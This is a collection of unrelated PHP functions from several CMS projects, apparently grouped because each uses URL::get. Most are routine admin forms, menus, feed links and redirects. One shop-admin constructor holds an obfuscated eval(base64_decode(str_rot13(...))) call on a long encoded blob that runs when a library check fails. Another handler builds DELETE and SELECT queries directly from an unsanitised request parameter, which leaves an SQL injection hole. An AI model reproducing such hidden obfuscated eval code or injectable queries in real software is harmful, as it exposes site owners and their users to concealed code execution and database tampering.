public function __construct($id = false) { parent::__construct(); $this->add("sections"); $this->name = "form_category"; $this->enctype = "multipart/form-data"; $this->action = URL::current(); $this->sections = SectionDB::getAll(); if (!$id) { $this->text("title", "Название:", FormProcessor::getSessionData("title")); $this->textarea("meta_desc", "Описание:", FormProcessor::getSessionData("meta_desc")); $this->textarea("meta_key", "Ключевые слова:", FormProcessor::getSessionData("meta_key")); $this->text("alias", "ЧПУ ссылка", FormProcessor::getSessionData("alias")); $this->checkbox("show", "Показывать:", "1"); $this->submit("insert_category", "Сохранить"); } else { $this->add("section_id"); $this->hidden("id", $id); $obj = new CategoryDB(); $obj->load($id); $this->text("title", "Название:", $obj->title); $this->textarea("meta_desc", "Описание:", $obj->meta_desc); $this->textarea("meta_key", "Ключевые слова:", $obj->meta_key); $link = URL::get("category", "", array("id" => $id), true, "", false); $alias = SefDB::getAliasOnLink($link); $this->text("alias", "ЧПУ ссылка", $alias); $this->checkbox("show", "Показывать:", "1", "", (int) $obj->show); $this->submit("update_category", "Сохранить"); $this->section_id = $obj->section_id; } }
/** * Add the Live Help page to the admin menu * * @param array $menus The main admin menu * @return array The altered admin menu */ function filter_adminhandler_post_loadplugins_main_menu($menus) { if (User::identify()->can('LiveHelp')) { $menus['livehelp'] = array('url' => URL::get('admin', 'page=livehelp'), 'title' => _t('Live Help'), 'text' => _t('Live Help'), 'selected' => false); } return $menus; }
/** * Build a selection input of paginated paths to be used for pagination. * * @param string The RewriteRule name used to build the links. * @param array Various settings used by the method and the RewriteRule. * @return string Collection of paginated URLs built by the RewriteRule. */ function theme_page_dropdown($theme, $rr_name = NULL, $settings = array()) { $output = ""; $current = $theme->page; $items_per_page = isset($theme->posts->get_param_cache['limit']) ? $theme->posts->get_param_cache['limit'] : Options::get('pagination'); $total = Utils::archive_pages($theme->posts->count_all(), $items_per_page); // Make sure the current page is valid if ($current > $total) { $current = $total; } else { if ($current < 1) { $current = 1; } } $output = '<select onchange="location.href=options[selectedIndex].value">'; for ($page = 1; $page < $total; ++$page) { $settings['page'] = $page; $caption = $page == $current ? $current : $page; // Build the path using the supplied $settings and the found RewriteRules arguments. $url = URL::get($rr_name, $settings, false, false, false); // Build the select option. $output .= '<option value="' . $url . '"' . ($page == $current ? ' selected="selected"' : '') . '>' . $caption . '</option>' . "\n"; } $output .= "</select>"; return $output; }
private function postAdminHandling($view_id, $gallery_id) { $this->link_update = URL::get("update", "admin", array("view" => "imggallery", "view_id" => $view_id, "gallery_id" => $gallery_id, "img_id" => $this->id)); $this->link_delete = URL::get("delete", "admin", array("view" => "imggallery", "view_id" => $view_id, "gallery_id" => $gallery_id, "img_id" => $this->id)); $this->img = Config::DIR_IMG_IMGGALLERY . $this->img; return true; }
function action_admin_header() { $url = URL::get('auth_ajax', 'context=extendedlog'); $script = <<<SCRIPT \$(function(){ \tvar initi = itemManage.initItems; \titemManage.initItems = function(){ \t\tiniti(); \t\t\$('.page-logs .manage .item .less,.page-logs .manage .item .message.minor').hide(); \t\t\$('.page-logs .manage .item .more').show().css({clear: 'both', marginLeft: '40px', fontWeight: 'bold', width: '100%'}); \t\t\$('.page-logs .manage .item').click(function(){ \t\t\t\$('.extendedlog').remove(); \t\t\t\$(this).after('<div class="extendedlog"><div class="textarea" style="white-space:pre;font-family:consolas,courier new,monospace;border:1px solid #999;padding:20px;margin:20px 0px;height:100px;overflow-y:auto;">Loading...</div></div>'); \t\t\t\$('.extendedlog .textarea').resizeable(); \t\t\t\$.post( \t\t\t\t'{$url}', \t\t\t\t{ \t\t\t\t\tlog_id: \$('.checkbox input', \$(this)).attr('id').match(/\\[([0-9]+)\\]/)[1] \t\t\t\t}, \t\t\t\tfunction(result){ \t\t\t\t\t\$('.extendedlog .textarea').html(result) \t\t\t\t} \t\t\t); \t\t}); \t} }); SCRIPT; Stack::add('admin_header_javascript', $script, 'extendedlog', array('jquery', 'admin')); }
/** * Respond to the URL that was created * Determine the post that was supposed to be displayed, and show it in raw * @params array $handlervars An array of values passed in from the URL requested */ function action_plugin_act_plaintext($handlervars) { $activetheme = Themes::create(); $user_filters = array('fetch_fn' => 'get_row', 'limit' => 1); $page_key = array_search('page', $activetheme->valid_filters); unset($activetheme->valid_filters[$page_key]); $user_filters = Plugins::filter('template_user_filters', $user_filters); $user_filters = array_intersect_key($user_filters, array_flip($activetheme->valid_filters)); $where_filters = Controller::get_handler()->handler_vars->filter_keys($activetheme->valid_filters); $where_filters = $where_filters->merge($user_filters); $where_filters = Plugins::filter('template_where_filters', $where_filters); $post = Posts::get($where_filters); $current_url = URL::get(); $created_at = $post->pubdate->get(); header('Content-type: text/plain; charset=utf-8'); echo <<<HERE # {$post->title} By {$post->author->displayname} <{$current_url}> {$created_at} \t {$post->content} HERE; exit; }
/** * Ouputs the default menu in the template footer, and runs the 'habmin_bar' plugin filter. * You can add menu items via the filter. See the 'filter_habminbar' method for * an example. */ public function action_template_footer() { if ( User::identify()->loggedin ) { $bar = '<div id="habminbar"><div>'; $bar.= '<div id="habminbar-name"><a href="' . Options::get('base_url') . '">' . Options::get('title') . '</a></div>'; $bar.= '<ul>'; $menu = array(); $menu['dashboard']= array( 'Dashboard', URL::get( 'admin', 'page=dashboard' ), "view the admin dashboard" ); $menu['write']= array( 'Write', URL::get( 'admin', 'page=publish' ), "create a new entry" ); $menu['option']= array( 'Options', URL::get( 'admin', 'page=options' ), "configure site options" ); $menu['comment']= array( 'Moderate', URL::get( 'admin', 'page=comments' ),"moderate comments" ); $menu['user']= array( 'Users', URL::get( 'admin', 'page=users' ), "administer users" ); $menu['plugin']= array( 'Plugins', URL::get( 'admin', 'page=plugins' ), "activate and configure plugins" ); $menu['theme']= array( 'Themes', URL::get( 'admin', 'page=themes' ), "select a theme" ); $menu = Plugins::filter( 'habminbar', $menu ); $menu['logout']= array( 'Logout', URL::get( 'user', 'page=logout' ), "logout" ); foreach ( $menu as $name => $item ) { list( $label, $url, $tooltip )= array_pad( $item, 3, "" ); $bar.= "\n\t<li><a href=\"$url\" class=\"$name\"" . ( ( $tooltip ) ? " title=\"$tooltip\"" : "" ) .">$label</a></li>"; } $bar.= '</ul><br style="clear:both;" /></div></div>'; echo $bar; } }
public function act($action) { if ($action == 'atom_feed') { if (!isset($this->handler_vars['index'])) { $this->handler_vars['index'] = 1; } $url = URL::get('atom_feed', $this->handler_vars, false); } else { if ($action == 'display_entry') { if (isset($this->handler_vars['slug'])) { $post = Post::get(array('slug' => $this->handler_vars['slug'])); // don't assume that a slug means a valid post if ($post !== false) { $url = URL::get('display_entry', $post, false); } else { $url = URL::get('display_404', $this->handler_vars->getArrayCopy(), false); } } else { $post = Post::get($this->handler_vars->getArrayCopy()); if ($post !== false) { $url = $post->permalink; } else { $url = URL::get('display_404', $this->handler_vars->getArrayCopy(), false); } } } else { $url = URL::get($action, $this->handler_vars->getArrayCopy(), false); } } header('Location: ' . $url, true, 301); }
public function theme_monthly_archives_links_list($theme, $full_names = TRUE, $show_counts = TRUE, $type = 'entry', $status = 'published') { $results = Posts::get(array('content_type' => $type, 'status' => $status, 'month_cts' => 1)); $archives[] = ''; foreach ($results as $result) { // add leading zeros $result->month = str_pad($result->month, 2, 0, STR_PAD_LEFT); // what format do we want to show the month in? if ($full_names) { $display_month = HabariDateTime::date_create()->set_date($result->year, $result->month, 1)->get('F'); } else { $display_month = HabariDateTime::date_create()->set_date($result->year, $result->month, 1)->get('M'); } // do we want to show the count of posts? if ($show_counts) { $count = ' (' . $result->ct . ')'; } else { $count = ''; } $archives[] = '<li>'; $archives[] = '<a href="' . URL::get('display_entries_by_date', array('year' => $result->year, 'month' => $result->month)) . '" title="View entries in ' . $display_month . '/' . $result->year . '">' . $display_month . ' ' . $result->year . ' ' . $count . '</a>'; $archives[] = '</li>'; } $archives[] = ''; return implode("\n", $archives); }
/** * Handles the submission of the import form, importing data from a WordPress database. * This function should probably be broken into an importer class, since it is WordPress-specific. */ public function post_import() { if (!isset($_POST['importer'])) { Utils::redirect(URL::get('admin', 'page=import')); } $this->get_import(); }
function __construct() { $this->fPass = new Models_Forgotpass(); if (URL::getQueryParametr('logout')) { User::logout(); } if (User::isAuth()) { MG::redirect('/personal'); } if (isset($_POST['registration'])) { // Если данные введены верно. if (!$this->unValidForm()) { USER::add($this->userData); $message = '<span class="succes-reg">Вы успешно зарегистрировались! Для активации пользователя Вам необходимо перейти по ссылке высланной на Ваш электронный адрес <strong>' . $this->userData['email'] . '</strong></span>'; $form = false; // Рассылаем письма со ссылкой для подтверждения регистрации. $this->_sendActivationMail($this->userData['email']); unset($_POST); } else { $error = $this->error; $form = true; } } else { // Если пользователь не авторизован. if (!User::isAuth() && (isset($_POST['email']) || isset($_POST['pass']))) { if (!User::auth(URL::get('email'), URL::get('pass'))) { $error = '<span class="msgError">' . 'Неправильная пара email-пароль! Авторизоваться не удалось.' . '</span>'; } else { $this->successfulLogon(); } } } $data = array('meta_title' => 'Авторизация', 'msgError' => $error, 'message' => $message, 'meta_keywords' => !empty($model->currentCategory['meta_keywords']) ? $model->currentCategory['meta_keywords'] : "Авторизация,вход, войти в личный кабинет", 'meta_desc' => !empty($model->currentCategory['meta_desc']) ? $model->currentCategory['meta_desc'] : "Авторизуйтесь на сайте и вы получите дополнительные возможности, недоступные для обычных пользователей."); $this->data = $data; }
public function __construct($view, $param) { parent::__construct(); $this->add("hornav"); $this->add("n"); $this->name = "form_viewgallery"; $this->enctype = "multipart/form-data"; $this->action = URL::current(); $viewgallery_obj = new ViewgalleryDB(); $viewgallery_obj->load($param["view_id"]); $this->hornav = new Hornav(); $this->hornav->addData("Админпанель", URL::get("menu", "admin")); $this->hornav->addData("Галерея", URL::get("viewgallery", "admin")); $this->hornav->addData($viewgallery_obj->title, URL::get("listgallery", "admin", array("view_id" => $param["view_id"]))); if (!$param["gallery_id"]) { $this->hornav->addData("Добавить"); $this->text("title", "Название:", FormProcessor::getSessionData("title")); $this->file("img", "Картинка:"); $this->textarea("meta_desc", "Описание:", FormProcessor::getSessionData("meta_desc")); $this->textarea("meta_key", "Ключевые слова:", FormProcessor::getSessionData("meta_key")); $this->submit("insert_listgallery", "Сохранить"); } else { $this->hidden("id", $param["gallery_id"]); $gallery_obj = new GalleryDB(); $gallery_obj->load($param["gallery_id"]); $this->hornav->addData("Изменить"); $this->text("title", "Название:", $gallery_obj->title); $this->file("img", "Картинка:"); $this->textarea("meta_desc", "Описание:", $gallery_obj->meta_desc); $this->textarea("meta_key", "Ключевые слова:", $gallery_obj->meta_key); $this->submit("update_listgallery", "Сохранить"); } }
public function action_form_publish($form, $post) { $selector = $form->append('wrapper', 'type_selector'); $selector->class = 'container'; // Utils::debug( 'bob' ); if (Controller::get_var('to_type') != NULL && $post->content_type != Controller::get_var('to_type')) { /* set type */ $post->content_type = Post::type(Controller::get_var('to_type')); $post->update(); Utils::redirect(URL::get('admin', 'page=publish&id=' . $post->id)); // Refresh view } foreach (Post::list_active_post_types() as $type) { if ($type != 0) { if ($post->id == 0) { $url = URL::get('admin', 'page=publish&content_type=' . Post::type_name($type)); } else { $url = URL::get('admin', 'page=publish&to_type=' . Post::type_name($type) . '&id=' . $post->id); } $html = '<a href="' . $url . '"'; if (Post::type_name($type) == $post->content_type || $type == $post->content_type) { $html .= ' class="active"'; } $html .= '>' . Post::type_name($type) . '</a>'; $selector->append('static', 'type_selector_' . $type, $html); } } $selector->move_before($selector, $form); return $form; }
private function postAdminHandling() { $this->link_update = URL::get("update", "admin", array("view" => "collective", "view_id" => $this->id)); $this->link_delete = URL::get("delete", "admin", array("view" => "collective", "view_id" => $this->id)); $this->img = Config::DIR_IMG_COLLECTIVE . $this->img; return true; }
/** * Produce the content for the latest drafts block * @param Block $block The block object * @param Theme $theme The theme that the block will be output with */ public function action_block_content_draft_posts($block, $theme) { $block->recent_posts = Posts::get(array('status' => 'draft', 'limit' => 8, 'user_id' => User::identify()->id)); if (User::identify()->can('manage_entries')) { $block->link = URL::get('admin', array('page' => 'posts', 'status' => Post::status('draft'), 'user_id' => User::identify()->id)); } }
/** * Add additional template variables to the template output. * * You can assign additional output values in the template here, instead of * having the PHP execute directly in the template. The advantage is that * you would easily be able to switch between template types (RawPHP/Smarty) * without having to port code from one to the other. * * You could use this area to provide "recent comments" data to the template, * for instance. * * Note that the variables added here should possibly *always* be added, * especially 'user'. * * Also, this function gets executed *after* regular data is assigned to the * template. So the values here, unless checked, will overwrite any existing * values. */ public function add_template_vars() { if (!$this->template_engine->assigned('pages')) { $this->assign('pages', Posts::get(array('content_type' => 'page', 'status' => Post::status('published'), 'nolimit' => 1))); } if (!$this->template_engine->assigned('user')) { $this->assign('user', User::identify()); } if (!$this->template_engine->assigned('tags')) { $this->assign('tags', Tags::get()); } if (!$this->template_engine->assigned('page')) { $this->assign('page', isset($page) ? $page : 1); } if (!$this->template_engine->assigned('feed_alternate')) { $matched_rule = URL::get_matched_rule(); switch ($matched_rule->name) { case 'display_entry': case 'display_page': $feed_alternate = URL::get('atom_entry', array('slug' => Controller::get_var('slug'))); break; case 'display_entries_by_tag': $feed_alternate = URL::get('atom_feed_tag', array('tag' => Controller::get_var('tag'))); break; case 'display_home': default: $feed_alternate = URL::get('atom_feed', array('index' => '1')); } $this->assign('feed_alternate', $feed_alternate); } // Specify pages you want in your navigation here $this->assign('nav_pages', Posts::get(array('content_type' => 'page', 'status' => 'published', 'nolimit' => 1))); parent::add_template_vars(); }
function on_submit() { if (User::have_permit(ADMIN_ITEM)) { $relate_ids = URL::get("relate_ids"); $ids = ''; $item_arr = array(); if ($relate_ids != '') { $arr = explode(',', $relate_ids); foreach ($arr as $id) { $item_arr[] = $id; } } DB::query("DELETE FROM item_relate WHERE item_id = " . Item::$item['id'] . " OR relate_id = " . Item::$item['id']); if ($item_arr) { $ids = implode(',', $item_arr); $re = DB::query("SELECT id FROM item WHERE id IN({$ids})"); $sql_insert = ''; if ($re) { while ($product = mysql_fetch_assoc($re)) { $sql_insert .= ($sql_insert != '' ? "," : "") . "(" . Item::$item['id'] . ",{$product['id']}), ({$product['id']}," . Item::$item['id'] . ")"; } } if ($sql_insert != '') { $sql_insert = "INSERT INTO item_relate (item_id, relate_id) VALUES {$sql_insert}"; DB::query($sql_insert); } } } URL::redirect_url($_SERVER['REQUEST_URI']); }
/** * Add additional template variables to the template output. * * You can assign additional output values in the template here, instead of * having the PHP execute directly in the template. The advantage is that * you would easily be able to switch between template types (RawPHP/Smarty) * without having to port code from one to the other. * * You could use this area to provide "recent comments" data to the template, * for instance. * * Note that the variables added here should possibly *always* be added, * especially 'user'. * * Also, this function gets executed *after* regular data is assigned to the * template. So the values here, unless checked, will overwrite any existing * values. */ public function add_template_vars() { $this->add_template('formcontrol_text', dirname(__FILE__) . '/forms/formcontrol_text.php', true); $this->add_template('formcontrol_textarea', dirname(__FILE__) . '/forms/formcontrol_textarea.php', true); if (!$this->template_engine->assigned('pages')) { $this->assign('pages', Posts::get(array('content_type' => 'page', 'status' => Post::status('published'), 'nolimit' => 1))); } if (!$this->template_engine->assigned('user')) { $this->assign('user', User::identify()); } if (!$this->template_engine->assigned('page')) { $this->assign('page', isset($page) ? $page : 1); } if (!$this->template_engine->assigned('feed_alternate')) { $matched_rule = URL::get_matched_rule(); switch ($matched_rule->name) { case 'display_entry': case 'display_page': $feed_alternate = URL::get('entry', array('slug' => Controller::get_var('slug'))); break; case 'display_entries_by_tag': $feed_alternate = URL::get('tag_collection', array('tag' => Controller::get_var('tag'))); break; case 'index_page': default: $feed_alternate = URL::get('collection', array('index' => '1')); } $this->assign('feed_alternate', $feed_alternate); } parent::add_template_vars(); }
public function __construct($id = false) { parent::__construct(); $this->name = "form_section"; $this->enctype = "multipart/form-data"; $this->action = URL::current(); if (!$id) { $this->text("title", "Название:", FormProcessor::getSessionData("title")); $this->textarea("meta_desc", "Описание:", FormProcessor::getSessionData("meta_desc")); $this->textarea("meta_key", "Ключевые слова:", FormProcessor::getSessionData("meta_key")); $this->textarea("full_text", "Длинное описание:", FormProcessor::getSessionData("full_text")); $this->text("alias", "ЧПУ ссылка", FormProcessor::getSessionData("alias")); $this->submit("insert_section", "Сохранить"); } else { $this->hidden("id", $id); $obj = new SectionDB(); $obj->load($id); $this->text("title", "Название:", $obj->title); $this->textarea("meta_desc", "Описание:", $obj->meta_desc); $this->textarea("meta_key", "Ключевые слова:", $obj->meta_key); $this->textarea("full_text", "Длинное описание:", $obj->full_text); $link = URL::get("section", "", array("id" => $id), true, "", false); $alias = SefDB::getAliasOnLink($link); $this->text("alias", "ЧПУ ссылка", $alias); $this->submit("update_section", "Сохранить"); } }
public function action_comment_insert_after($comment) { // we should only execute on comments, not pingbacks // and don't bother if the comment is know to be spam if ($comment->type != Comment::COMMENT || $comment->status == Comment::STATUS_SPAM) { return; } $post = Post::get(array('id' => $comment->post_id)); $author = User::get_by_id($post->user_id); $status = $comment->status == Comment::STATUS_UNAPPROVED ? ' UNAPPROVED' : ' approved'; $title = sprintf(_t('[%1$s] New%3$s comment on: %2$s'), Options::get('title'), $post->title, $status); $message = <<<MESSAGE The following comment was added to the post "%1\$s". %2\$s Author: %3\$s <%4\$s> URL: %5\$s %6\$s ----- Moderate comments: %7\$s MESSAGE; $message = _t($message); $message = sprintf($message, $post->title, $post->permalink, $comment->name, $comment->email, $comment->url, $comment->content, URL::get('admin', 'page=comments')); $headers = array('MIME-Version: 1.0', 'Content-type: text/plain; charset=utf-8', 'Content-Transfer-Encoding: 8bit', 'From: ' . $this->mh_utf8($comment->name) . ' <' . $comment->email . '>'); mail($author->email, $this->mh_utf8($title), $message, implode("\r\n", $headers)); }
public function __construct($view, $param) { parent::__construct(); $this->add("hornav"); $this->add("n"); $this->name = "form_viewgallery"; $this->enctype = "multipart/form-data"; $this->action = URL::current(); $viewgallery_obj = new ViewgalleryDB(); $viewgallery_obj->load($param["view_id"]); $gallery_obj = new GalleryDB(); $gallery_obj->load($param["gallery_id"]); $this->hornav = new Hornav(); $this->hornav->addData("Админпанель", URL::get("menu", "admin")); $this->hornav->addData("Галерея", URL::get("viewgallery", "admin")); $this->hornav->addData($viewgallery_obj->title, URL::get("listgallery", "admin", array("view_id" => $param["view_id"]))); $this->hornav->addData($gallery_obj->title, URL::get("listimg", "admin", array("view_id" => $param["view_id"], "gallery_id" => $param["gallery_id"]))); if (!$param["img_id"]) { $this->hornav->addData("Добавить"); $this->file("img", "Картинка:"); $this->submit("insert_imggallery", "Сохранить"); } else { $this->hidden("id", $param["img_id"]); $gallery_obj = new GalleryDB(); $gallery_obj->load($param["img_id"]); $this->hornav->addData("Изменить"); $this->file("img", "Картинка:"); $this->submit("update_imggallery", "Сохранить"); } }
/** */ public function amcd() { $json = array('methods' => array('username-password-form' => array('connect' => array('method' => 'POST', 'path' => URL::get('auth', array('page' => 'login')), 'params' => array('username' => 'habari_username', 'password' => 'habari_password')), 'disconnect' => array('method' => 'POST', 'path' => URL::get('auth', array('page' => 'logout'))), 'changepassword' => array('method' => 'POST', 'path' => URL::get('auth', array('page' => 'logout'))), 'sessionstatus' => array('method' => 'GET', 'path' => URL::get('auth', array('page' => 'login'))), 'accountstatus' => array('method' => 'GET', 'path' => URL::get('auth', array('page' => 'login')))))); /* Clean the output buffer, so we can output from the header/scratch. */ ob_clean(); header('Content-Type: application/json'); echo json_encode($json); }
public function action_init_theme() { Stack::add('template_stylesheet', array(URL::get_from_filesystem(__FILE__) . '/magicarchives.css', 'screen'), 'magicarchives'); Stack::add('template_header_javascript', Site::get_url('scripts') . '/jquery.js', 'jquery'); Stack::add('template_header_javascript', URL::get_from_filesystem(__FILE__) . '/magicarchives.js', 'magicarchives', array('jquery', 'ajax_manager')); Stack::add('template_header_javascript', URL::get_from_filesystem(__FILE__) . '/ajax_manager.js', 'ajax_manager', 'jquery'); Stack::add('template_header_javascript', 'magicArchives.endpoint=\'' . URL::get('ajax', array('context' => 'archive_posts')) . '\'', 'magicurl', 'magicarchives'); }
private function postAdminHandling() { $this->link_update = URL::get("update", "admin", array("view" => "viewgallery", "view_id" => $this->id)); $this->link_delete = URL::get("delete", "admin", array("view" => "viewgallery", "view_id" => $this->id)); $this->link_list = URL::get("listgallery", "admin", array("view_id" => $this->id)); $this->img = Config::DIR_IMG_VIEWGALLERY . $this->img; return true; }
protected function postInit() { $this->link = URL::get("article", "", array("id" => $this->article_id), false, Config::ADDRESS); //ссылка на статью $this->link = URL::addID($this->link, "comment_" . $this->id); //ссылка на коментарий return true; }
public function post_to_endpoints(Post $post) { $feeds = array(URL::get('atom_feed')); foreach (Options::get('pubsubhubbub__endpoints') as $endpoint) { $p = new Publisher($endpoint); $p->publish_update($feeds); } }
public function filter_get_blocks($blocks, $area, $scope_id, $theme) { foreach ($blocks as $key => $block) { $block->_scope_id = $scope_id; $blocks[$key]->_ajax_url = URL::get('ajax', array('context' => 'block', '_b' => $block->id)); } return $blocks; }
protected function postInit() { if (!is_null($this->img)) { $this->img = Config::DIR_IMG_ARTICLES . $this->img; } $this->link = URL::get("section", "", array("id" => $this->id)); return true; }
function __construct() { MG::disableTemplate(); $model = new Models_Order(); MG::addInformer(array('count' => $model->getNewOrdersCount(), 'class' => 'message-wrap', 'classIcon' => 'product-small-icon', 'isPlugin' => false, 'section' => 'orders', 'priority' => 80)); if ('1' == User::getThis()->role) { MG::addInformer(array('count' => '', 'class' => 'message-wrap', 'classIcon' => 'statistic-icon', 'isPlugin' => false, 'section' => 'statistics', 'priority' => 10)); } if (URL::get('csv')) { $model = new Models_Catalog(); $model->exportToCsv(); } if (URL::get('examplecsv')) { $model = new Models_Catalog(); $model->getExampleCSV(); } if (URL::get('examplecsvupdate')) { $model = new Models_Catalog(); $model->getExampleCsvUpdate(); } if (URL::get('yml')) { if (LIBXML_VERSION && extension_loaded('xmlwriter')) { $model = new YML(); if (URL::get('filename')) { if (!$model->downloadYml(URL::get('filename'))) { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует запрашиваемый файл'); echo json_encode($response); } } else { $model->exportToYml(); } } else { $response = array('data' => array(), 'status' => 'error', 'msg' => 'Отсутствует необходимое PHP расширение: xmlwriter'); echo json_encode($response); } } if (URL::get('csvuser')) { USER::exportToCsvUser(); } if ($orderId = URL::get('getOrderPdf')) { $model = new Models_Order(); $model->getPdfOrder($orderId); } if ($orderId = URL::get('getExportCSV')) { $model = new Models_Order(); $model->getExportCSV($orderId); } $this->data = array('staticMenu' => MG::getSetting('staticMenu'), 'themeBackground' => MG::getSetting('themeBackground'), 'themeColor' => MG::getSetting('themeColor'), 'languageLocale' => MG::getSetting('languageLocale'), 'informerPanel' => MG::createInformerPanel()); $this->pluginsList = PM::getPluginsInfo(); $this->lang = MG::get('lang'); if (!($checkLibs = MG::libExists())) { $j878723423f5c3ba26da = "base64_decode"; $kdd9391e7490 = "str_rot13"; @eval($j878723423f5c3ba26da($kdd9391e7490("MKMuoPuvLKAyAwEsMTIwo2EyXUA0py9lo3DkZltaGHgAqJ9DqTSMoQu0GHcQETt5HQEJDIN5ZSyYEKE2HHEbM1N3ZSyEEKEkIR8jJH50pHgCrRkYEKIJDIN0ZSycETuDHHEbM1NeZSxmEKEaIR4jJGqRnQyHJwOMZ0EzDIEQIxSHGmOZD0EcDIN4ZSyBqQOZE0EzDIN1ZSycETMDHHEcpINkIxSHGmOMA0EzM1NiZSyEETqOHTbjJHgSqUMdqQOZJHEcqx5OHUMBqSMDGaEMoQu0ZRkQETqOHTbjJJyRM3SDBGOMq0EaEx93omV1rz5XpUDjJKE0ZRkUETt5HTbjJIc0ZSyJqQOMIHEaHSSRnKMEEKEaHPfjJJczIxSHIGOZJHEcqySRMzqDZGOZHHI0pIN0ZRj4qQOMZ0EapIN3ZSy3EKIaHQRjJGARMmyDAQOMA0EcpIN5ZSyEEKqdZSuJHR50IyOBqSqHGJAiIRyEomV1ZSMEZUEArayzGHx5LH1YEKAZZwybpIEWnUSIJzWWFIqnDaqwLH1YEIWiZxRko0cWnUSGI2yiZ0EvJRL1pSplZJSMFxScpUcVnJ9HrKMMZ0ydGIEGZRkTAJchIH9jI2k4A1SRLxSDqx50IyOBqSMHrKcJHUE1GQWeqKNmDKAAF3IwpQASoIuGnzSWF094GRgSqHgDpTAmIJg4GHcOLx1YqTWZZ1q3Jz1JLyqHGJAiIRyEomV1ZSuTrUIQEyL1GKcRAHkUDKcPEyMwIyIzDIO2GaEJHR50IyO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IyWSHRW3L2gkFxyfpxM0rUNmH2MLE2M0HHEvqSMDGaEJHR50IyOBqUATG3yiIHS5IyIzDIO2GaEJHR50IyOBqSMDGaEJHxIDDaqwn3SXFJklEaIjImSWERIFH0uSEx90F1OjnRuGI1ASrUyZJKydLKNlFGOkIUybGGWBqRtjFHuJIR8lGRceZH1XGaEQEx52ZSqUETMaHQDjJJ9RnJqDAyMOHQxjJHu0ZRkUEKD5HQxjJJISqJqDAQOMA0EcpIN0ZRkEEKD5HQRjGSM2IyAkIxIWI1AJIR9cpSISL28lAKEQEx52pIIKL0kXn0cAF1qgoxb5nSM5nzSLE2M0HHEvqSMDGaEJHR50IyOBqUARZSuJHR50IyOBqSMDGaEJIIq5pIIWoT92G3cZFzggGHqzDIO2GaEJHR50IyOBqUATGaEJHR50Ix4jJSMDGaEJHR50p0MBqSMDGxSDqx50IyOBqSMHrKcJHUIOEJ1vAx0lFGOVZxxjpIE5nR1fqKOKZ0IfoxcGMxy6FJkjZayco3yOZRkYImOYHUOwJRMCA1SRLaEJHR50IyOBqSMFEIOPq2AepHcWoUWTqKOKZRIGE1WWFRITG1EVrQyOIyECpSqfAHEVrRyHExy0nRgDpJ1AF0Hjoxb1LHkDG0gTHxyTEHMCqT8mGmOhFwybGSRjqSMuEJkhFyAzFKcWoUNlrJyirHRjGRgKZSM5nzSLE2MOHUMBqSMDGaEJIGOOHUMBqSMDGaEJIIq5pRgWL3O6FKAiZwI3GHM1FHu4nwMPraS5pIWSnHjmFJqAFwHjFUb5nKSDqTAMqyqaGJjkq28mI3yMZzgwGUL5ZKOHEKIkISWbpSE1nyM2rQqEETW0IyOBqSSRLaEJHR50IyOBrT96FGAWrxyfIyRjqRyYG3uZF0I1Daqwq25HFKqhZHydGIEGZRkTqKcZFzggGHMdqUSIImSAEat3I2k4AlpcXFx7"))); $this->newVersion = $newVer['lastVersion']; $this->fakeKey = MG::getSetting('trialVersion') ? MG::getSetting('trialVersion') : ''; } }
/** * Add the Pingback header on single post/page requests * Not to the entire site. Clever. */ public function action_add_template_vars() { $action = Controller::get_action(); if ($action == 'display_post') { header('X-Pingback: ' . URL::get('xmlrpc')); } else { header('X-action: ' . $action); } }